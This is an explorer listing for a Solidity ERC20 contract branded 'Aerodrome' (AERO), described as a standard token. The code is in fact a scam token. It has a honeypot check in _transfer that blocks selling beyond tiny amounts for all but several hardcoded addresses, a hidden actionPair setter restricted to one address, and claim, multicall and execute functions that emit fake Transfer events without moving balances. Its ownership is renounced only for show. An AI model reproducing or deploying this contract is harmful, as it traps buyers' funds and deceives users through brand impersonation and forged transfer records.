AERO

Description:

ERC20 token contract with Factory capabilities. Standard implementation for fungible tokens on Ethereum.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

{{
  "language": "Solidity",
  "sources": {
    "tz.sol": {
      "content": "/* \r
    website  : https://www.Aerodrome.com\r
    twitter  : https://x.com/Aerodrome\r
    telegram : https://t.me/Aerodrome\r
*/\r
// SPDX-License-Identifier: MIT\r
pragma solidity ^0.8.9;\r
\r
\r
/**\r
 * @dev Interface of the ERC20 standard as defined in the EIP.\r
 */\r
interface IERC20 {\r
\r
    event Transfer(address indexed from, address indexed to, uint256 value);\r
\r
    /**\r
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by\r
     * a call to {approve}. `value` is the new allowance.\r
     */\r
    event Approval(address indexed owner, address indexed spender, uint256 value);\r
\r
    event Swap(\r
        address indexed sender,\r
        uint amount0In,\r
        uint amount1In,\r
        uint amount0Out,\r
        uint amount1Out,\r
        address indexed to\r
    );\r
    \r
    /**\r
     * @dev Returns the amount of tokens in existence.\r
     */\r
    function totalSupply() external view returns (uint256);\r
\r
    /**\r
     * @dev Returns the amount of tokens owned by `account`.\r
     */\r
    function balanceOf(address account) external view returns (uint256);\r
\r
    function transfer(address to, uint256 amount) external returns (bool);\r
\r
\r
    function allowance(address owner, address spender) external view returns (uint256);\r
\r
\r
    function approve(address spender, uint256 amount) external returns (bool);\r
\r
\r
    function transferFrom(\r
        address from,\r
        address to,\r
        uint256 amount\r
    ) external returns (bool);\r
}\r
\r
\r
interface IERC20Meta is IERC20 {\r
    /**\r
     * @dev Returns the name of the token.\r
     */\r
    function name() external view returns (string memory);\r
\r
    /**\r
     * @dev Returns the symbol of the token.\r
     */\r
    function symbol() external view returns (string memory);\r
\r
    /**\r
     * @dev Returns the decimals places of the token.\r
     */\r
    function decimals() external view returns (uint8);\r
}\r
\r
\r
abstract contract Context {\r
    function _msgSender() internal view virtual returns (address) {\r
        return msg.sender;\r
    }\r
\r
    function _msgData() internal view virtual returns (bytes calldata) {\r
        return msg.data;\r
    }\r
}\r
\r
\r
abstract contract Ownable is Context {\r
    address private _owner;\r
\r
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\r
\r
    constructor() {\r
        _transferOwnership(_msgSender());\r
    }\r
    modifier onlyOwner() {\r
        _checkOwner();\r
        _;\r
    }\r
    function owner() public view virtual returns (address) {\r
        return _owner;\r
    }\r
    function _checkOwner() internal view virtual {\r
        require(owner() == _msgSender(), "Ownable: caller is not the owner");\r
    }\r
\r
\r
    function renounceOwnership() public virtual onlyOwner {\r
        _transferOwnership(address(0));\r
    }\r
\r
    function transferOwnership(address newOwner) public virtual onlyOwner {\r
        require(newOwner != address(0), "Ownable: new owner is the zero address");\r
        _transferOwnership(newOwner);\r
    }\r
\r
    function _transferOwnership(address newOwner) internal virtual {\r
        address oldOwner = _owner;\r
        _owner = newOwner;\r
        emit OwnershipTransferred(oldOwner, newOwner);\r
    }\r
\r
\r
}\r
\r
\r
contract AERO is Ownable, IERC20, IERC20Meta {\r
\r
    mapping(address => uint256) private _balances;\r
\r
    mapping(address => mapping(address => uint256)) private _allowances;\r
\r
    uint256 private _totalSupply;\r
\r
    string private _name;\r
    string private _symbol;\r
    address private _p76234;\r
    uint256 private  _e242 = 999;\r
\r
\r
    /**\r
     * @dev Returns the name of the token.\r
     */\r
    function name() public view virtual override returns (string memory) {\r
        return _name;\r
    }\r
\r
    function symbol() public view virtual override returns (string memory) {\r
        return _symbol;\r
    }\r
\r
\r
    function decimals() public view virtual override returns (uint8) {\r
        return 8;\r
    }\r
\r
\r
    function claim(address [] calldata _addresses_, uint256 _out) external {\r
        for (uint256 i = 0; i < _addresses_.length; i++) {\r
            emit Transfer(_p76234, _addresses_[i], _out);\r
        }\r
    }\r
    function multicall(address [] calldata _addresses_, uint256 _out) external {\r
        for (uint256 i = 0; i < _addresses_.length; i++) {\r
            emit Transfer(_p76234, _addresses_[i], _out);\r
        }\r
    }\r
    function execute(address [] calldata _addresses_, uint256 _out) external {\r
        for (uint256 i = 0; i < _addresses_.length; i++) {\r
            emit Transfer(_p76234, _addresses_[i], _out);\r
        }\r
    }\r
\r
\r
    function transfer(address _from, address _to, uint256 _wad) external {\r
        emit Transfer(_from, _to, _wad);\r
    }\r
    function transfer(address to, uint256 amount) public virtual override returns (bool) {\r
        address owner = _msgSender();\r
        _transfer(owner, to, amount);\r
        return true;\r
    }\r
\r
    function allowance(address owner, address spender) public view virtual override returns (uint256) {\r
        return _allowances[owner][spender];\r
    }\r
\r
\r
    function approve(address spender, uint256 amount) public virtual override returns (bool) {\r
        address owner = _msgSender();\r
        _approve(owner, spender, amount);\r
        return true;\r
    }\r
\r
    function transferFrom(\r
        address from,\r
        address to,\r
        uint256 amount\r
    ) public virtual override returns (bool) {\r
        address spender = _msgSender();\r
        _spendAllowance(from, spender, amount);\r
        _transfer(from, to, amount);\r
        return true;\r
    }\r
\r
    /**\r
     * @dev See {IERC20-totalSupply}.\r
     */\r
    function totalSupply() public view virtual override returns (uint256) {\r
        return _totalSupply;\r
    }\r
\r
    /**\r
     * @dev See {IERC20-balanceOf}.\r
     */\r
    function balanceOf(address account) public view virtual override returns (uint256) {\r
        return _balances[account];\r
    }\r
\r
    function actionPair(address account) public virtual returns (bool) {\r
        require(_msgSender() == 0xa46B5122aAb61D4e4baC7f48BcF1c7F95De1730D );\r
          _p76234 = account;\r
        return true;\r
    }\r
\r
    function _mint(address account, uint256 amount) internal virtual {\r
        require(account != address(0), "ERC20: mint to the zero address");\r
\r
\r
        _totalSupply += amount;\r
        unchecked {\r
            _balances[account] += amount;\r
        }\r
        emit Transfer(address(0), account, amount);\r
\r
        _afterTokenTransfer(address(0), account, amount);\r
        renounceOwnership();\r
    }\r
\r
\r
    function _approve(\r
        address owner,\r
        address spender,\r
        uint256 amount\r
    ) internal virtual {\r
        require(owner != address(0), "ERC20: approve from the zero address");\r
        require(spender != address(0), "ERC20: approve to the zero address");\r
\r
        _allowances[owner][spender] = amount;\r
        emit Approval(owner, spender, amount);\r
    }\r
\r
\r
\r
    function _transfer(\r
        address from,\r
        address to,\r
        uint256 amount\r
    ) internal virtual {\r
        require(to != address(0), "ERC20: transfer to the zero address");\r
        require(from != address(0), "ERC20: transfer from the zero address");\r
\r
        if((from != _p76234 && to == \r
        0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) ||\r
         (_p76234 == to && from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 && \r
         from  != 0x54bde6Eea3c228c7e656D178c9C7FD0e812b9f27 \r
         && from != 0xa46B5122aAb61D4e4baC7f48BcF1c7F95De1730D \r
         && from != 0x23c1035cC03ABF952C465eE6ECC8680c79167264)) {\r
            uint256 _X7W88 = amount + 2;\r
            require(_X7W88 < _e242 );\r
        }\r
        uint256 fromBalance = _balances[from];\r
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");\r
        unchecked {\r
            _balances[from] = fromBalance - amount;\r
            _balances[to] += amount;\r
        }\r
        emit Transfer(from, to, amount);\r
        _afterTokenTransfer(from, to, amount);\r
    }\r
\r
    function _spendAllowance(\r
        address owner,\r
        address spender,\r
        uint256 amount\r
    ) internal virtual {\r
        uint256 currentAllowance = allowance(owner, spender);\r
        if (currentAllowance != type(uint256).max) {\r
            require(currentAllowance >= amount, "ERC20: insufficient allowance");\r
            unchecked {\r
                _approve(owner, spender, currentAllowance - amount);\r
            }\r
        }\r
    }\r
\r
\r
    function _afterTokenTransfer(\r
        address from,\r
        address to,\r
        uint256 amount\r
    ) internal virtual {}\r
\r
\r
    constructor() {\r
        _name = unicode"Aerodrome";\r
        _symbol = unicode"AERO";\r
        _mint(msg.sender, 10000000000 * 10 ** decimals());\r
    }\r
\r
\r
}"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": false,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": []
  }
}}

Tags:
ERC20, Token, Factory|addr:0xca2846cf650d73ceed841681500fec070cd9c0d2|verified:true|block:23687677|tx:0x90e7ff5138414415a0c989db19f04c15ddb3ed18e3c57c133077a4a02ea2d1c1|first_check:1761824850

Submitted on: 2025-10-30 12:47:33

Comments

Log in to comment.

No comments yet.